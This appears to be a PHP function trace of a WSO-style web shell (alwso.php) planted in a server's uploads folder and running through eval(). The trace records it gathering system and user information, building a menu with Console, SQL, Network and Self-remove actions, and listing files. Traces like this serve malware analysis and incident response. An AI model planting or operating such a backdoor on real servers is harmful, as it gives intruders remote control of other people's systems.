5	49	R			33
5	50	0	0.009003	1029312	posix_getpwuid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	233	1	33
5	50	1	0.009043	1030144
5	50	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	233	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5	51	0	0.009099	1030112	posix_getegid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	234	0
5	51	1	0.009117	1030112
5	51	R			33
5	52	0	0.009133	1030112	posix_getgrgid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	234	1	33
5	52	1	0.009167	1030776
5	52	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	234	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	235	$user = 'www-data'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	236	$uid = 33
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	237	$group = 'www-data'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	238	$gid = 33
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	241	$cwd_links = ''
5	53	0	0.009286	1029392	explode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	242	2	'/'	'/var/www/html/uploads/'
5	53	1	0.009306	1030000
5	53	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	242	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	243	$n = 6
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	244	$i = 0
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	245	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j = 0
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= '/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	248	$cwd_links .= '")\'>/</a>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	244	$i++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	245	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j = 0
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= '/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	248	$cwd_links .= '")\'>var/</a>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	244	$i++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	245	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j = 0
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= '/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	248	$cwd_links .= '")\'>www/</a>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	244	$i++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	245	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j = 0
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= '/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	248	$cwd_links .= '")\'>html/</a>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	244	$i++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	245	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j = 0
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= '/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	247	$cwd_links .= 'uploads/'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	246	$j++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	248	$cwd_links .= '")\'>uploads/</a>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	244	$i++
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	251	$charsets = [0 => 'UTF-8', 1 => 'Windows-1251', 2 => 'KOI8-R', 3 => 'KOI8-U', 4 => 'cp866']
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	252	$opt_charsets = ''
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	254	$opt_charsets .= '<option value="UTF-8" >UTF-8</option>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	254	$opt_charsets .= '<option value="Windows-1251" selected>Windows-1251</option>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	254	$opt_charsets .= '<option value="KOI8-R" >KOI8-R</option>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	254	$opt_charsets .= '<option value="KOI8-U" >KOI8-U</option>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	254	$opt_charsets .= '<option value="cp866" >cp866</option>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	256	$m = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Mail Test' => 'MailTest', 'Console' => 'Console', 'Sql Interface' => 'Sql', 'Network' => 'Network']
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	259	$m['Self remove'] = 'SelfRemove'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	260	$menu = ''
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	261	$k = 'Sec. Info'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'SecInfo\',null,\'\',\'\',\'\')">Sec. Info</a> ]</th>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	261	$k = 'Files'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">Files</a> ]</th>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	261	$k = 'Mail Test'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'MailTest\',null,\'\',\'\',\'\')">Mail Test</a> ]</th>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	261	$k = 'Console'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'Console\',null,\'\',\'\',\'\')">Console</a> ]</th>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	261	$k = 'Sql Interface'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'Sql\',null,\'\',\'\',\'\')">Sql Interface</a> ]</th>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	261	$k = 'Network'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'Network\',null,\'\',\'\',\'\')">Network</a> ]</th>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	261	$k = 'Self remove'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	262	$menu .= '<th width="14%">[ <a href="#" onclick="g(\'SelfRemove\',null,\'\',\'\',\'\')">Self remove</a> ]</th>'
4		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	264	$drives = ''
5	54	0	0.010491	1031712	php_uname	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	271	0
5	54	1	0.010510	1031824
5	54	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	55	0	0.010535	1031824	substr	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	271	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
5	55	1	0.010558	1031920
5	55	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	56	0	0.010584	1031840	phpversion	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	271	0
5	56	1	0.010600	1031904
5	56	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
5	57	0	0.010622	1032032	date	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	272	1	'Y-m-d H:i:s'
5	57	1	0.010693	1034384
5	57	R			'2023-02-12 16:31:08'
5	58	0	0.010716	1034224	wsoViewSize	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	272	1	232015802368
6	59	0	0.010737	1034224	sprintf	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	335	2	'%1.2f'	216.08155441284
6	59	1	0.010757	1034608
6	59	R			'216.08'
5	58	1	0.010776	1034264
5	58	R			'216.08 GB'
5	60	0	0.010795	1034224	wsoViewSize	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	272	1	208934363136
6	61	0	0.010814	1034224	sprintf	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	335	2	'%1.2f'	194.58528900146
6	61	1	0.010834	1034608
6	61	R			'194.59'
5	60	1	0.010852	1034264
5	60	R			'194.59 GB'
5	62	0	0.010871	1034480	wsoPermsColor	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	272	1	'/var/www/html/uploads/'
6	63	0	0.010896	1034480	is_readable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	366	1	'/var/www/html/uploads/'
6	63	1	0.010921	1034520
6	63	R			TRUE
6	64	0	0.010938	1034480	is_writable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	368	1	'/var/www/html/uploads/'
6	64	1	0.010959	1034520
6	64	R			TRUE
6	65	0	0.010977	1034480	fileperms	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	371	1	'/var/www/html/uploads/'
6	65	1	0.010998	1034544
6	65	R			16895
6	66	0	0.011015	1034504	wsoPerms	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	371	1	16895
6		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	349	$i = 'd'
6		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	353	$i .= 'r'
6		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	354	$i .= 'w'
6		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	355	$i .= 'x'
6		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	356	$i .= 'r'
6		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	357	$i .= 'w'
6		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	358	$i .= 'x'
6		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	359	$i .= 'r'
6		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	360	$i .= 'w'
6		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	361	$i .= 'x'
6	66	1	0.011171	1034544
6	66	R			'drwxrwxrwx'
5	62	1	0.011190	1034568
5	62	R			'<font color=#25ff00>drwxrwxrwx</font>'
4	33	1	0.011215	1031320
4	67	0	0.011226	1031320	wsoScandir	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	636	1	'/var/www/html/uploads/'
5	68	0	0.011245	1031320	function_exists	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	375	1	'scandir'
5	68	1	0.011264	1031360
5	68	R			TRUE
5	69	0	0.011281	1031320	scandir	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	376	1	'/var/www/html/uploads/'
5	69	1	0.011322	1031944
5	69	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'alwso.php', 4 => 'data', 5 => 'prepend.php']
4	67	1	0.011349	1031912
4	67	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'alwso.php', 4 => 'data', 5 => 'prepend.php']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	636	$dirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'alwso.php', 4 => 'data', 5 => 'prepend.php']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	639	$sort = [0 => 'name', 1 => 1]
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	653	$files = []
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	653	$dirs = []
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	654	$n = 6
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	655	$i = 0
4	70	0	0.011473	1031936	fileowner	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	656	1	'.'
4	70	1	0.011494	1031960
4	70	R			0
4	71	0	0.011511	1031920	posix_getpwuid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	656	1	0
4	71	1	0.011544	1032720
4	71	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	656	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	72	0	0.011599	1032688	filegroup	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	657	1	'.'
4	72	1	0.011617	1032728
4	72	R			0
4	73	0	0.011636	1032688	posix_getgrgid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	657	1	0
4	73	1	0.011668	1033344
4	73	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	657	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	74	0	0.011716	1033784	filemtime	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	660	1	'/var/www/html/uploads/.'
4	74	1	0.011737	1033840
4	74	R			1676237468
4	75	0	0.011754	1033752	date	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	660	2	'Y-m-d H:i:s'	1676237468
4	75	1	0.011795	1034080
4	75	R			'2023-02-12 16:31:08'
4	76	0	0.011816	1034056	wsoPermsColor	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	661	1	'/var/www/html/uploads/.'
5	77	0	0.011833	1034056	is_readable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	366	1	'/var/www/html/uploads/.'
5	77	1	0.011863	1034096
5	77	R			TRUE
5	78	0	0.011881	1034056	is_writable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	368	1	'/var/www/html/uploads/.'
5	78	1	0.011902	1034096
5	78	R			TRUE
5	79	0	0.011920	1034056	fileperms	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	371	1	'/var/www/html/uploads/.'
5	79	1	0.011938	1034096
5	79	R			16895
5	80	0	0.011964	1034056	wsoPerms	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	371	1	16895
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	349	$i = 'd'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	353	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	354	$i .= 'w'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	355	$i .= 'x'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	356	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	357	$i .= 'w'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	358	$i .= 'x'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	359	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	360	$i .= 'w'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	361	$i .= 'x'
5	80	1	0.012151	1034096
5	80	R			'drwxrwxrwx'
4	76	1	0.012171	1034120
4	76	R			'<font color=#25ff00>drwxrwxrwx</font>'
4	81	0	0.012193	1034120	filesize	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	662	1	'/var/www/html/uploads/.'
4	81	1	0.012213	1034160
4	81	R			4096
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	664	$tmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	82	0	0.012262	1034120	is_file	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	666	1	'/var/www/html/uploads/.'
4	82	1	0.012281	1034160
4	82	R			FALSE
4	83	0	0.012300	1034120	is_link	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	668	1	'/var/www/html/uploads/.'
4	83	1	0.012322	1034184
4	83	R			FALSE
4	84	0	0.012340	1034144	is_dir	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	670	1	'/var/www/html/uploads/.'
4	84	1	0.012359	1034184
4	84	R			TRUE
4	85	0	0.012377	1034096	array_merge	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	671	2	['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	85	1	0.012410	1034536
4	85	R			['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	671	$dirs[] = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	655	$i++
4	86	0	0.012488	1034848	fileowner	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	656	1	'..'
4	86	1	0.012509	1034872
4	86	R			0
4	87	0	0.012527	1034832	posix_getpwuid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	656	1	0
4	87	1	0.012562	1035632
4	87	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	656	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	88	0	0.012618	1034864	filegroup	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	657	1	'..'
4	88	1	0.012637	1034904
4	88	R			0
4	89	0	0.012654	1034864	posix_getgrgid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	657	1	0
4	89	1	0.012683	1035520
4	89	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	657	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	90	0	0.012732	1035384	filemtime	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	660	1	'/var/www/html/uploads/..'
4	90	1	0.012753	1035448
4	90	R			1676237468
4	91	0	0.012772	1035352	date	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	660	2	'Y-m-d H:i:s'	1676237468
4	91	1	0.012818	1035680
4	91	R			'2023-02-12 16:31:08'
4	92	0	0.012838	1035664	wsoPermsColor	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	661	1	'/var/www/html/uploads/..'
5	93	0	0.012857	1035664	is_readable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	366	1	'/var/www/html/uploads/..'
5	93	1	0.012881	1035704
5	93	R			TRUE
5	94	0	0.012898	1035664	is_writable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	368	1	'/var/www/html/uploads/..'
5	94	1	0.012920	1035704
5	94	R			TRUE
5	95	0	0.012938	1035664	fileperms	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	371	1	'/var/www/html/uploads/..'
5	95	1	0.012956	1035704
5	95	R			16895
5	96	0	0.012973	1035664	wsoPerms	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	371	1	16895
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	349	$i = 'd'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	353	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	354	$i .= 'w'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	355	$i .= 'x'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	356	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	357	$i .= 'w'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	358	$i .= 'x'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	359	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	360	$i .= 'w'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	361	$i .= 'x'
5	96	1	0.013126	1035704
5	96	R			'drwxrwxrwx'
4	92	1	0.013146	1035728
4	92	R			'<font color=#25ff00>drwxrwxrwx</font>'
4	97	0	0.013168	1035728	filesize	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	662	1	'/var/www/html/uploads/..'
4	97	1	0.013186	1035768
4	97	R			4096
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	664	$tmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	98	0	0.013233	1035352	is_file	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	666	1	'/var/www/html/uploads/..'
4	98	1	0.013252	1035392
4	98	R			FALSE
4	99	0	0.013269	1035352	is_link	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	668	1	'/var/www/html/uploads/..'
4	99	1	0.013292	1035400
4	99	R			FALSE
4	100	0	0.013312	1035360	is_dir	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	670	1	'/var/www/html/uploads/..'
4	100	1	0.013329	1035400
4	100	R			TRUE
4	101	0	0.013348	1035304	array_merge	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	671	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	101	1	0.013376	1035744
4	101	R			['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	671	$dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	655	$i++
4	102	0	0.013436	1035680	fileowner	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	656	1	'.htaccess'
4	102	1	0.013453	1035704
4	102	R			0
4	103	0	0.013476	1035664	posix_getpwuid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	656	1	0
4	103	1	0.013503	1036464
4	103	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	656	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	104	0	0.013545	1035696	filegroup	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	657	1	'.htaccess'
4	104	1	0.013559	1035736
4	104	R			0
4	105	0	0.013572	1035696	posix_getgrgid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	657	1	0
4	105	1	0.013594	1036352
4	105	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	657	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	106	0	0.013636	1036216	filemtime	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	660	1	'/var/www/html/uploads/.htaccess'
4	106	1	0.013653	1036272
4	106	R			1676237468
4	107	0	0.013666	1036176	date	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	660	2	'Y-m-d H:i:s'	1676237468
4	107	1	0.013698	1036504
4	107	R			'2023-02-12 16:31:08'
4	108	0	0.013713	1036488	wsoPermsColor	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	661	1	'/var/www/html/uploads/.htaccess'
5	109	0	0.013727	1036488	is_readable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	366	1	'/var/www/html/uploads/.htaccess'
5	109	1	0.013744	1036528
5	109	R			TRUE
5	110	0	0.013758	1036488	is_writable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	368	1	'/var/www/html/uploads/.htaccess'
5	110	1	0.013774	1036528
5	110	R			FALSE
5	111	0	0.013788	1036488	fileperms	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	369	1	'/var/www/html/uploads/.htaccess'
5	111	1	0.013802	1036528
5	111	R			33188
5	112	0	0.013814	1036488	wsoPerms	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	369	1	33188
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	347	$i = '-'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	353	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	354	$i .= 'w'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	355	$i .= '-'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	356	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	357	$i .= '-'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	358	$i .= '-'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	359	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	360	$i .= '-'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	361	$i .= '-'
5	112	1	0.013928	1036528
5	112	R			'-rw-r--r--'
4	108	1	0.013943	1036552
4	108	R			'<font color=white>-rw-r--r--</font>'
4	113	0	0.013959	1036552	filesize	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	662	1	'/var/www/html/uploads/.htaccess'
4	113	1	0.013973	1036592
4	113	R			64
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	664	$tmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']
